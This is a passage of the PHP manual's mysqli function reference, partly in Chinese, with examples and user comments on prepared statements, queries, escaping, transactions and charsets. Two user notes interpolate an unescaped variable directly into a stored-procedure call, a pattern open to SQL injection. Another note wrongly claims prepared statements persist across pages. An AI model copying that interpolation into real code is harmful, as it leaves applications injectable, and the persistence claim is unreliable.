The parameter query can include one or more parameter markers in the SQL statement by embedding question mark (?) characters at the appropriate positions.

注: The markers are legal only in certain places in SQL statements. For example, they are allowed in the VALUES() list of an INSERT statement (to specify column values for a row), or in a comparison with a column in a WHERE clause to specify a comparison value.

However, they are not allowed for identifiers (such as table or column names), in the select list that names the columns to be returned by a SELECT statement, or to specify both operands of a binary operator such as the = equal sign. The latter restriction is necessary because it would be impossible to determine the parameter type. It's not allowed to compare marker with NULL by ? IS NULL too. In general, parameters are legal only in Data Manipulation Languange (DML) statements, and not in Data Defination Language (DDL) statements.

The parameter markers must be bound to application variables using mysqli_stmt_bind_param() and/or mysqli_stmt_bind_result() before executing the statement or fetching rows.

返回值

mysqli_prepare() returns a statement object or FALSE if an error occured.

参见

mysqli_stmt_execute(),
mysqli_stmt_fetch(),
mysqli_stmt_bind_param(),
mysqli_stmt_bind_result() 和
mysqli_stmt_close().

范例

例子 1. Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$city = "Amersfoort";

/* create a prepared statement */
if ($stmt = $mysqli->prepare("SELECT District FROM City WHERE Name=?")) {

    /* bind parameters for markers */
    $stmt->bind_param("s", $city);

    /* execute query */
    $stmt->execute();

    /* bind result variables */
    $stmt->bind_result($district);

    /* fetch value */
    $stmt->fetch();

    printf("%s is in district %s\n", $city, $district);

    /* close statement */
    $stmt->close();
}

/* close connection */
$mysqli->close();
?>

例子 2. Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$city = "Amersfoort";

/* create a prepared statement */
if ($stmt = mysqli_prepare($link, "SELECT District FROM City WHERE Name=?")) {

    /* bind parameters for markers */
    mysqli_stmt_bind_param($stmt, "s", $city);

    /* execute query */
    mysqli_stmt_execute($stmt);

    /* bind result variables */
    mysqli_stmt_bind_result($stmt, $district);

    /* fetch value */
    mysqli_stmt_fetch($stmt);

    printf("%s is in district %s\n", $city, $district);

    /* close statement */
    mysqli_stmt_close($stmt);
}

/* close connection */
mysqli_close($link);
?>

上例将输出：

Amersfoort is in district Utrecht

add a note add a note User Contributed Notes
Mikael
24-May-2006 05:00
That's not exactly true. The prepared statement is stored in the database, and is therefor faster to execute next time. This means that the second time a page is rendered, it's not eating as much database CPU. Even in a different page, if it's the exact same query string. Ie, even the "prepare" call is faster the second time, since the database can see that it already did that prepare once.
codeFiend <aeontech at gmail dot com>
06-May-2006 05:47
Note that single-quotes around the parameter markers _will_ prevent your statement from being prepared correctly.
Ex:

<?php
$stmt = $mysqli->prepare("INSERT INTO City (District) VALUES ('?')");
echo $stmt->param_count." parameters\n";
?>
will print 0 and fail with "Number of variables doesn't match number of parameters in prepared statement" warning when you try to bind the variables to it.

But

<?php
$stmt = $mysqli->prepare("INSERT INTO City (District) VALUES (?)");
echo $stmt->param_count." parameters\n";
?>
will print 1 and function correctly.

Very annoying, took me an hour to figure this out.
Ulf Wostner
24-Jan-2006 12:53
Here is an example using bind_param and bind_result, showing iteration over a list of cities.

Note that there's some bug-potential in cases where the query returns NULL for some parameter value,
but the bind_result variables still might be bound.  So, we use a conditional to spray the spot first.

$mysqli->select_db("world");

$template = "SELECT District, CountryCode FROM City WHERE Name=?";
printf("Prepare statement from template: %s\n",  $template);

$cities = array('San Francisco', 'Lisbon', 'Lisboa', 'Marrakech', 'Madrid');
printf("Cities: %s\n", join(':', $cities));

if ($stmt = $mysqli->prepare($template)) {

   foreach($cities as $city) {
     // bind the string $city to the '?'
     $stmt->bind_param("s", $city);
     $stmt->execute();
     // bind result variables
     $stmt->bind_result($d,$cc);
     // 'Lisbon' is not found in the world.City table, but 'Lisboa' is.
     // Using a conditional we avoid putting Lisbon in California.
     if($stmt->fetch()) {
       printf("%s is in  %s, %s\n", $city, $d, $cc);
     }

   }
   $stmt->close();
}

With the conditional statement we get the desired result:

Prepare statement from template: SELECT District,CountryCode FROM City WHERE Name=?
Cities: San Francisco:Lisbon:Lisboa:Marrakech:Madrid

San Francisco is in  California, USA
Lisboa is in  Lisboa, PRT
Marrakech is in  Marrakech-Tensift-Al, MAR
Madrid is in  Madrid, ESP

But, without the conditional statement we would put Lisbon in California:

San Francisco is in  California, USA
Lisbon is in  California, USA
Lisboa is in  Lisboa, PRT
Marrakech is in  Marrakech-Tensift-Al, MAR
Madrid is in  Madrid, ESP
David Kramer
21-Dec-2005 04:50
I don't think these are good examples, because the primary use of prepared queries is when you are going to call the same query in a loop, plugging in different values each time.  For instance, if you were generating a report and needed to run the same query for each line, tweaking the values in the WHERE clause, or importing data from another system.
add a note add a note

后退 | 起点 | 前进
mysqli_ping | 上一级 | mysqli_query


mysqli_query

(PHP 5)

mysqli_query

(no version information, might be only in CVS)

mysqli->query -- Performs a query on the database

Description

Procedural style:

mixed mysqli_query ( mysqli link, string query [, int resultmode] )

Object oriented style (method):

class mysqli {

mixed query ( string query [, int resultmode] )

}

The mysqli_query() function is used to simplify the act of performing a query against the database represented by the link parameter.

Functionally, using this function is identical to calling mysqli_real_query() followed either by mysqli_use_result() or mysqli_store_result() where query is the query string itself and resultmode is either the constant MYSQLI_USE_RESULT or MYSQLI_STORE_RESULT depending on the desired behavior. By default, if the resultmode is not provided MYSQLI_STORE_RESULT is used.

If you execute mysqli_query() with resultmode MYSQLI_USE_RESULT all subsequent calls will return error Commands out of sync unless you call mysqli_free_result().

返回值

如果成功则返回 TRUE，失败则返回 FALSE。 For SELECT, SHOW, DESCRIBE or EXPLAIN mysqli_query() will return a result object.

参见

mysqli_real_query(),
mysqli_multi_query() 和
mysqli_free_result().

范例

例子 1. Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* Create table doesn't return a resultset */
if ($mysqli->query("CREATE TEMPORARY TABLE myCity LIKE City") === TRUE) {
    printf("Table myCity successfully created.\n");
}

/* Select queries return a resultset */
if ($result = $mysqli->query("SELECT Name FROM City LIMIT 10")) {
    printf("Select returned %d rows.\n", $result->num_rows);

    /* free result set */
    $result->close();
}

/* If we have to retrieve large amount of data we use MYSQLI_USE_RESULT */
if ($result = $mysqli->query("SELECT * FROM City", MYSQLI_USE_RESULT)) {

    /* Note, that we can't execute any functions which interact with the
       server until result set was closed. All calls will return an
       'out of sync' error */
    if (!$mysqli->query("SET @a:='this will not work'")) {
        printf("Error: %s\n", $mysqli->error);
    }
    $result->close();
}

$mysqli->close();
?>

例子 2. Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* Create table doesn't return a resultset */
if (mysqli_query($link, "CREATE TEMPORARY TABLE myCity LIKE City") === TRUE) {
    printf("Table myCity successfully created.\n");
}

/* Select queries return a resultset */
if ($result = mysqli_query($link, "SELECT Name FROM City LIMIT 10")) {
    printf("Select returned %d rows.\n", mysqli_num_rows($result));

    /* free result set */
    mysqli_free_result($result);
}

/* If we have to retrieve large amount of data we use MYSQLI_USE_RESULT */
if ($result = mysqli_query($link, "SELECT * FROM City", MYSQLI_USE_RESULT)) {

    /* Note, that we can't execute any functions which interact with the
       server until result set was closed. All calls will return an
       'out of sync' error */
    if (!mysqli_query($link, "SET @a:='this will not work'")) {
        printf("Error: %s\n", mysqli_error($link));
    }
    mysqli_free_result($result);
}

mysqli_close($link);
?>

上例将输出：

Table myCity successfully created.
Select returned 10 rows.
Error: Commands out of sync;  You can't run this command now

add a note add a note User Contributed Notes
info at ff dot net
08-May-2006 07:12
Calling Stored Procedures

Beeners' note/example will not work. Use mysqli_multi_query() to call a Stored Procedure. SP's have a second result-set which contains the status: 'OK' or 'ERR'. Using mysqli_query will not work, as there are multiple results.

<?php
$sQuery="CALL SomeSP('params')";
if(!mysqli_multi_query($sqlLink,$sQuery)) {
  // your error handler
}
$sqlResult=mysqli_store_result($sqlLink);

if(mysqli_more_results($this->sqlLink))//Catch 'OK'/'ERR'
  while(mysqli_next_result($this->sqlLink));
?>

You will have to rewrite/expand this a bit for more usability of course, but it's just an example.
Beeners
08-Jan-2006 04:16
Stored Procedures.

Use mysqli_query to call a stored procedure that returns a result set.

Here is a short example:

<?php
$mysqli = new mysqli(DBURI,DBUSER,DBPASS,DBNAME);
if (mysqli_connect_errno())
{
  printf("Connection failed: %s\n", mysqli_connect_error());
  exit();
}

$SQL = "CALL my_procedure($something)";
if ( ($result = $mysqli->query($SQL))===false )
{
  printf("Invalid query: %s\nWhole query: %s\n", $mysqli->error, $SQL);
  exit();
}

while ($myrow = $result->fetch_array(MYSQLI_ASSOC))
{
  $aValue[]=$myrow["a"];
  $bValue[]=$myrow["b"];
}
$result->close();
$mysqli->close();
?>
I hope this saves someone some time.
ole_v2 at dsl dot pipex dot com
25-Aug-2005 11:22
SENDING MULTIPLE QUERIES

use mysqli_multi_query()

This is ilegal:
<?
// assume $db is a sucessful connection to database
$result = mysqli_query($db,'SELECT * FROM sometable; SHOW DATABASES;'); // always false
if ($result) {
   // code here will never execute
}
?>
andrey at php dot net
07-Aug-2005 03:03
WARNING: This function was buggy on 64bit machines till 5.0.5. Affected versions 5.0.0-5.0.4. The problem appears when a value for the third parameter is passed - this will lead to instant FALSE returned by the function. Therefore if you need to use unbuffered query don't use this function with the aforementioned versions but you mysqli_real_query() and mysqli_use_result().
If you have the rights to patch you PHP installation the fix is easy:
In file ext/mysqli/myslqi_nonapi.c, function PHP_FUNCTION(mysqli_query)
change
unsigned int resultmode=0;
to
unsigned long resultmode=0;

Thanks!
hunreal at gmail dot com
14-Aug-2004 05:24
Use difference collation/character for connect, result.
You can set the collation before your query.

E.g. want to set the collation to utf8_general_ci
you can send the query "SET NAMES 'utf8'" first

<?php
$mysqli=new mysqli('localhost', 'root', 'password', 'test');
$mysqli->query("SET NAMES 'utf8'");
$q=$mysqli->query("select * from test");
while($r=$q->fetch_assoc()) {
   print_r($r);
}
?>

There are many variables about character settings.
By running sql command, SHOW VARIABLES LIKE 'char%';
There are some variables control the character usage.

character_set_client
character_set_connection
character_set_database
character_set_results
character_set_server
character_set_system

Also SET NAMES can repalce with one or some settings like SET character_set_results='utf8';
add a note add a note

后退 | 起点 | 前进
mysqli_prepare | 上一级 | mysqli_real_connect


mysqli_real_connect

(PHP 5)

mysqli_real_connect

(no version information, might be only in CVS)

mysqli->real_connect -- Opens a connection to a mysql server

Description

Procedural style

bool mysqli_real_connect ( mysqli link [, string hostname [, string username [, string passwd [, string dbname [, int port [, string socket [, int flags]]]]]]] )

Object oriented style (method)

class mysqli {

bool real_connect ( [string hostname [, string username [, string passwd [, string dbname [, int port [, string socket [, int flags]]]]]]] )

}

mysqli_real_connect() attempts to establish a connection to a MySQL database engine running on hostname.

This function differs from mysqli_connect():

  • mysqli_real_connect() needs a valid object which has to be created by function mysqli_init()

  • With function mysqli_options() you can set various options for connection.

  • With the parameter flags you can set different connection options:

    表格 1. Supported flags

    Name | Description
    MYSQLI_CLIENT_COMPRESS | Use compression protocol
    MYSQLI_CLIENT_FOUND_ROWS | return number of matched rows, not the number of affected rows
    MYSQLI_CLIENT_IGNORE_SPACE | Allow spaces after function names. Makes all function names reserved words.
    MYSQLI_CLIENT_INTERACTIVE | Allow interactive_timeout seconds (instead of wait_timeout seconds) of inactivity before closing the connection
    MYSQLI_CLIENT_SSL | Use SSL (encryption)

    注: For security reasons the MULTI_STATEMENT flag is not supported in PHP. If you want to execute multiple queries use the mysqli_multi_query() function.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

mysqli_connect(),
mysqli_init(),
mysqli_options(),
mysqli_ssl_set() 和
mysqli_close().

范例

例子 1. Object oriented style

<?php

/* create a connection object which is not connected */
$mysqli = mysqli_init();

/* set connection options */
$mysqli->options(MYSQLI_INIT_COMMAND, "SET AUTOCOMMIT=0");
$mysqli->options(MYSQLI_OPT_CONNECT_TIMEOUT, 5);

/* connect to server */
$mysqli->real_connect('localhost', 'my_user', 'my_password', 'world');

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

printf ("Connection: %s\n.", $mysqli->host_info);

$mysqli->close();
?>

例子 2. Procedural style

<?php

/* create a connection object which is not connected */
$link = mysqli_init();

/* set connection options */
mysqli_options($link, MYSQLI_INIT_COMMAND, "SET AUTOCOMMIT=0");
mysqli_options($link, MYSQLI_OPT_CONNECT_TIMEOUT, 5);

/* connect to server */
mysqli_real_connect($link, 'localhost', 'my_user', 'my_password', 'world');

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

printf ("Connection: %s\n.", mysqli_get_host_info($link));

mysqli_close($link);
?>

上例将输出：

Connection: Localhost via UNIX socket

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_query | 上一级 | mysqli_real_escape_string


mysqli_real_escape_string

(PHP 5)

mysqli_real_escape_string

(no version information, might be only in CVS)

mysqli->real_escape_string -- Escapes special characters in a string for use in a SQL statement, taking into account the current charset of the connection

Description

Procedural style:

string mysqli_real_escape_string ( mysqli link, string escapestr )

Object oriented style (method):

class mysqli {

string real_escape_string ( string escapestr )

}

This function is used to create a legal SQL string that you can use in a SQL statement. The string escapestr is encoded to an escaped SQL string, taking into account the current character set of the connection.

Characters encoded are NUL (ASCII 0), \n, \r, \, ', ", and Control-Z.

返回值

Returns an escaped string.

参见

mysqli_character_set_name().

范例

例子 1. Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$mysqli->query("CREATE TEMPORARY TABLE myCity LIKE City");

$city = "'s Hertogenbosch";

/* this query will fail, cause we didn't escape $city */
if (!$mysqli->query("INSERT into myCity (Name) VALUES ('$city')")) {
    printf("Error: %s\n", $mysqli->sqlstate);
}

$city = $mysqli->real_escape_string($city);

/* this query with escaped $city will work */
if ($mysqli->query("INSERT into myCity (Name) VALUES ('$city')")) {
    printf("%d Row inserted.\n", $mysqli->affected_rows);
}

$mysqli->close();
?>

例子 2. Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

mysqli_query($link, "CREATE TEMPORARY TABLE myCity LIKE City");

$city = "'s Hertogenbosch";

/* this query will fail, cause we didn't escape $city */
if (!mysqli_query($link, "INSERT into myCity (Name) VALUES ('$city')")) {
    printf("Error: %s\n", mysqli_sqlstate($link));
}

$city = mysqli_real_escape_string($link, $city);

/* this query with escaped $city will work */
if (mysqli_query($link, "INSERT into myCity (Name) VALUES ('$city')")) {
    printf("%d Row inserted.\n", mysqli_affected_rows($link));
}

mysqli_close($link);
?>

上例将输出：

Error: 42000
1 Row inserted.

add a note add a note User Contributed Notes
tobias_demuth at web dot de
11-Nov-2005 12:54
Note, that if no connection is open, mysqli_real_escape_string() will return an empty string!
arnoud at procurios dot nl
08-Oct-2004 12:05
Note that this function will NOT escape _ (underscore) and % (percent) signs, which have special meanings in LIKE clauses.

As far as I know there is no function to do this, so you have to escape them yourself by adding a backslash in front of them.
add a note add a note

后退 | 起点 | 前进
mysqli_real_connect | 上一级 | mysqli_real_query


mysqli_real_query

(PHP 5)

mysqli_real_query

(no version information, might be only in CVS)

mysqli->real_query -- Execute an SQL query

Description

Procedural style

bool mysqli_real_query ( mysqli link, string query )

Object oriented style (method):

class mysqli {

bool real_query ( string query )

}

The mysqli_real_query() function is used to execute only a query against the database represented by the link whose result can then be retrieved or stored using the mysqli_store_result() or mysqli_use_result() functions.

注: In order to determine if a given query should return a result set or not, see mysqli_field_count().

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

mysqli_query(),
mysqli_store_result() 和
mysqli_use_result().

add a note add a note User Contributed Notes
Beeners
07-Jan-2006 04:41
Stored Procedures.

In order to call a stored procedure that returns a result set, use mysqli_real_query.

Here is a short example:

$mysqli = new mysqli(DBURI,DBUSER,DBPASS,DBNAME);
if (mysqli_connect_errno())
{
   printf("Connection failed: %s\n", mysqli_connect_error());
   exit();
}

$SQL = "CALL my_procedure($something)";
if (!$mysqli->real_query($SQL))
{
   printf("Invalid query: %s\nWhole query: %s\n", $mysqli->error, $SQL);
   exit();
}

if ($result = $mysqli->store_result())
{
   while ($myrow = $result->fetch_array(MYSQLI_ASSOC))
   {
       $aValue[]=$myrow["a"];
       $bValue[]=$myrow["b"];
   }
   $result->close();
}

$mysqli->close();

I hope this saves someone some time.
add a note add a note

后退 | 起点 | 前进
mysqli_real_escape_string | 上一级 | mysqli_report


mysqli_report

(PHP 5)

mysqli_report -- Enables or disables internal report functions

Description

bool mysqli_report ( int flags )

mysqli_report() is a powerful function to improve your queries and code during development and testing phase. Depending on the flags it reports errors from mysqli function calls or queries which don't use an index (or use a bad index).

表格 1. Supported flags

Name | Description
MYSQLI_REPORT_OFF | Turns reporting off
MYSQLI_REPORT_ERROR | Report errors from mysqli function calls
MYSQLI_REPORT_INDEX | Report if no index or bad index was used in a query
MYSQLI_REPORT_ALL | Set all options (report all)

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

mysqli_debug() 和 mysqli_dump_debug_info().

范例

例子 1. Object oriented style

<?php
/* activate reporting */
mysqli_report(MYSQLI_REPORT_ALL);

$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* this query should report an error */
$result = $mysqli->query("SELECT Name FROM Nonexistingtable WHERE population > 50000");

/* this query should report a warning */
$result = $mysqli->query("SELECT Name FROM City WHERE population > 50000");
$result->close();

$mysqli->close();
?>

add a note add a note User Contributed Notes
anthony dot parsons at manx dot net
06-Nov-2005 11:23
Be very careful using this function - it's a per-process setting.
If your server is set up to reuse a single PHP process for multiple requests, that means the last setting of this function in any script will affect all other scripts using mysqli.
To be safe always call <? mysqli_report(MYSQLI_REPORT_OFF) ?> at the end of a script. The CGI version of PHP is probably safe from this.

(Tested using PHP 5.0.5, Apache 2 SAPI module)
add a note add a note

后退 | 起点 | 前进
mysqli_real_query | 上一级 | mysqli_rollback


mysqli_rollback

(PHP 5)

mysqli_rollback

(no version information, might be only in CVS)

mysqli->rollback -- Rolls back current transaction

Description

bool mysqli_rollback ( mysqli link )

class mysqli {

bool rollback ( void )

}

Rollbacks the current transaction for the database specified by the link parameter.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

mysqli_commit() 和 mysqli_autocommit().

范例

例子 1. Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* disable autocommit */
$mysqli->autocommit(FALSE);

$mysqli->query("CREATE TABLE myCity LIKE City");
$mysqli->query("ALTER TABLE myCity Type=InnoDB");
$mysqli->query("INSERT INTO myCity SELECT * FROM City LIMIT 50");

/* commit insert */
$mysqli->commit();

/* delete all rows */
$mysqli->query("DELETE FROM myCity");

if ($result = $mysqli->query("SELECT COUNT(*) FROM myCity")) {
    $row = $result->fetch_row();
    printf("%d rows in table myCity.\n", $row[0]);
    /* Free result */
    $result->close();
}

/* Rollback */
$mysqli->rollback();

if ($result = $mysqli->query("SELECT COUNT(*) FROM myCity")) {
    $row = $result->fetch_row();
    printf("%d rows in table myCity (after rollback).\n", $row[0]);
    /* Free result */
    $result->close();
}

/* Drop table myCity */
$mysqli->query("DROP TABLE myCity");

$mysqli->close();
?>

例子 2. Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* disable autocommit */
mysqli_autocommit($link, FALSE);

mysqli_query($link, "CREATE TABLE myCity LIKE City");
mysqli_query($link, "ALTER TABLE myCity Type=InnoDB");
mysqli_query($link, "INSERT INTO myCity SELECT * FROM City LIMIT 50");

/* commit insert */
mysqli_commit($link);

/* delete all rows */
mysqli_query($link, "DELETE FROM myCity");

if ($result = mysqli_query($link, "SELECT COUNT(*) FROM myCity")) {
    $row = mysqli_fetch_row($result);
    printf("%d rows in table myCity.\n", $row[0]);
    /* Free result */
    mysqli_free_result($result);
}

/* Rollback */
mysqli_rollback($link);

if ($result = mysqli_query($link, "SELECT COUNT(*) FROM myCity")) {
    $row = mysqli_fetch_row($result);
    printf("%d rows in table myCity (after rollback).\n", $row[0]);
    /* Free result */
    mysqli_free_result($result);
}

/* Drop table myCity */
mysqli_query($link, "DROP TABLE myCity");

mysqli_close($link);
?>

上例将输出：

0 rows in table myCity.
50 rows in table myCity (after rollback).

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_report | 上一级 | mysqli_rpl_parse_enabled


mysqli_rpl_parse_enabled

(PHP 5)

mysqli_rpl_parse_enabled -- Check if RPL parse is enabled

Description

int mysqli_rpl_parse_enabled ( mysqli link )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_rollback | 上一级 | mysqli_rpl_probe


mysqli_rpl_probe

(PHP 5)

mysqli_rpl_probe -- RPL probe

Description

bool mysqli_rpl_probe ( mysqli link )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_rpl_parse_enabled | 上一级 | mysqli_rpl_query_type


mysqli_rpl_query_type

(PHP 5)

mysqli_rpl_query_type

(no version information, might be only in CVS)

mysqli->rpl_query_type -- Returns RPL query type

Description

Procedural style:

int mysqli_rpl_query_type ( mysqli link, string query )

Object oriented style (method)

class mysqli {

int rpl_query_type ( string query )

}

Returns MYSQLI_RPL_MASTER, MYSQLI_RPL_SLAVE or MYSQLI_RPL_ADMIN depending on a query type. INSERT, UPDATE and similar are master queries, SELECT is slave, and FLUSH, REPAIR and similar are admin.

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_rpl_probe | 上一级 | mysqli_select_db


mysqli_select_db

(PHP 5)

mysqli_select_db

(no version information, might be only in CVS)

mysqli->select_db -- Selects the default database for database queries

Description

bool mysqli_select_db ( mysqli link, string dbname )

The mysqli_select_db() function selects the default database (specified by the dbname parameter) to be used when performing queries against the database connection represented by the link parameter.

注: This function should only be used to change the default database for the connection. You can select the default database with 4th parameter in mysqli_connect().

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

mysqli_connect() 和 mysqli_real_connect().

范例

例子 1. Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "test");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* return name of current default database */
if ($result = $mysqli->query("SELECT DATABASE()")) {
    $row = $result->fetch_row();
    printf("Default database is %s.\n", $row[0]);
    $result->close();
}

/* change db to world db */
$mysqli->select_db("world");

/* return name of current default database */
if ($result = $mysqli->query("SELECT DATABASE()")) {
    $row = $result->fetch_row();
    printf("Default database is %s.\n", $row[0]);
    $result->close();
}

$mysqli->close();
?>

例子 2. Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "test");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* return name of current default database */
if ($result = mysqli_query($link, "SELECT DATABASE()")) {
    $row = mysqli_fetch_row($result);
    printf("Default database is %s.\n", $row[0]);
    mysqli_free_result($result);
}

/* change db to world db */
mysqli_select_db($link, "world");

/* return name of current default database */
if ($result = mysqli_query($link, "SELECT DATABASE()")) {
    $row = mysqli_fetch_row($result);
    printf("Default database is %s.\n", $row[0]);
    mysqli_free_result($result);
}

mysqli_close($link);
?>

上例将输出：

Default database is test.
Default database is world.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_rpl_query_type | 上一级 | mysqli_send_long_data


mysqli_send_long_data

(PHP 5)

mysqli_send_long_data -- Alias for mysqli_stmt_send_long_data()

Description

This function is an alias of mysqli_stmt_send_long_data(). For a detailled descripton see description of mysqli_stmt_send_long_data().

注: mysqli_send_long_data() is deprecated and will be removed.

参见

mysqli_stmt_send_long_data().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_select_db | 上一级 | mysqli_send_query


mysqli_send_query

(PHP 5)

mysqli_send_query

(no version information, might be only in CVS)

mysqli->send_query -- Send the query and return

Description

Procedural style:

bool mysqli_send_query ( mysqli link, string query )

Object oriented style (method)

class mysqli {

bool send_query ( string query )

}

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_send_long_data | 上一级 | mysqli_server_end


mysqli_server_end

(PHP 5 <= 5.0.4)

mysqli_server_end -- Shut down the embedded server

Description

void mysqli_server_end ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_send_query | 上一级 | mysqli_server_init


mysqli_server_init

(PHP 5 <= 5.0.4)

mysqli_server_init -- Initialize embedded server

Description

bool mysqli_server_init ( [array server [, array groups]] )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_server_end | 上一级 | mysqli_set_charset


mysqli_set_charset

(PHP 5 >= 5.1.0RC1)

mysqli_set_charset

(no version information, might be only in CVS)

mysqli->set_charset -- Sets the default client character set

Description

bool mysqli_set_charset ( mysqli link, string charset )

The mysqli_set_charset() function sets the default character set (specified by the charset parameter) to be used when sending data from and to the database server represented by the link parameter.

注: To use this function on a Windows platform you need MySQL client library version 4.1.11 or above (for MySQL 5.0 you need 5.0.6 or above)

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

mysqli_character_set_name() 和 mysqli_real_escape_string().

范例

例子 1. Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "test");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* change character set to utf8 */
if (!$mysqli->set_charset("utf8")) {
    printf("Error loading character set utf8: %s\n", $mysqli->error);
} else {
    printf("Current character set: %s\n", $mysqli->character_set_name());
}

$mysqli->close();
?>

例子 2. Procedural style

<?php
$link = mysqli_connect('localhost', 'my_user', 'my_password', 'test');

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* change character set to utf8 */
if (!mysqli_set_charset($link, "utf8")) {
    printf("Error loading character set utf8: %s\n", mysqli_error($link));
} else {
    printf("Current character set: %s\n", mysqli_character_set_name($link));
}

mysqli_close($link);
?>

上例将输出：

Current character set: utf8

add a note add a note User Contributed Notes
coder at punkass dot com
13-Apr-2006 02:13
On windows, with "stock" PHP 5.1.2, there is no set_charset function at all. One may have to replace php_mysqli.dll, and libmysql.dll with proper versions, which provided by MySQL at http://dev.mysql.com/downloads/connector/php/
add a note add a note

后退 | 起点 | 前进
mysqli_server_init | 上一级 | mysqli_set_opt


mysqli_set_opt

(PHP 5)

mysqli_set_opt -- Alias of mysqli_options()

Description

This function is an alias of mysqli_options().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_set_charset | 上一级 | mysqli_sqlstate


mysqli_sqlstate

(PHP 5)

mysqli_sqlstate

(no version information, might be only in CVS)

mysqli->sqlstate -- Returns the SQLSTATE error from previous MySQL operation

Description

Procedural style:

string mysqli_sqlstate ( mysqli link )

Object oriented style (property):

class mysqli {

string sqlstate

}

Returns a string containing the SQLSTATE error code for the last error. The error code consists of five characters. '00000' means no error. The values are specified by ANSI SQL and ODBC. For a list of possible values, see http://dev.mysql.com/doc/mysql/en/error-handling.html.

注: Note that not all MySQL errors are yet mapped to SQLSTATE's. The value HY000 (general error) is used for unmapped errors.

返回值

Returns a string containing the SQLSTATE error code for the last error. The error code consists of five characters. '00000' means no error.

参见

mysqli_errno() 和 mysqli_error().

范例

例子 1. Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* Table City already exists, so we should get an error */
if (!$mysqli->query("CREATE TABLE City (ID INT, Name VARCHAR(30))")) {
    printf("Error - SQLSTATE %s.\n", $mysqli->sqlstate);
}

$mysqli->close();
?>

例子 2. Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* Table City already exists, so we should get an error */
if (!mysqli_query($link, "CREATE TABLE City (ID INT, Name VARCHAR(30))")) {
    printf("Error - SQLSTATE %s.\n", mysqli_sqlstate($link));
}

mysqli_close($link);
?>

上例将输出：

Error - SQLSTATE 42S01.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_set_opt | 上一级 | mysqli_ssl_set


mysqli_ssl_set

(PHP 5)

mysqli_ssl_set

(no version information, might be only in CVS)

mysqli->ssl_set -- Used for establishing secure connections using SSL

Description

Procedural style:

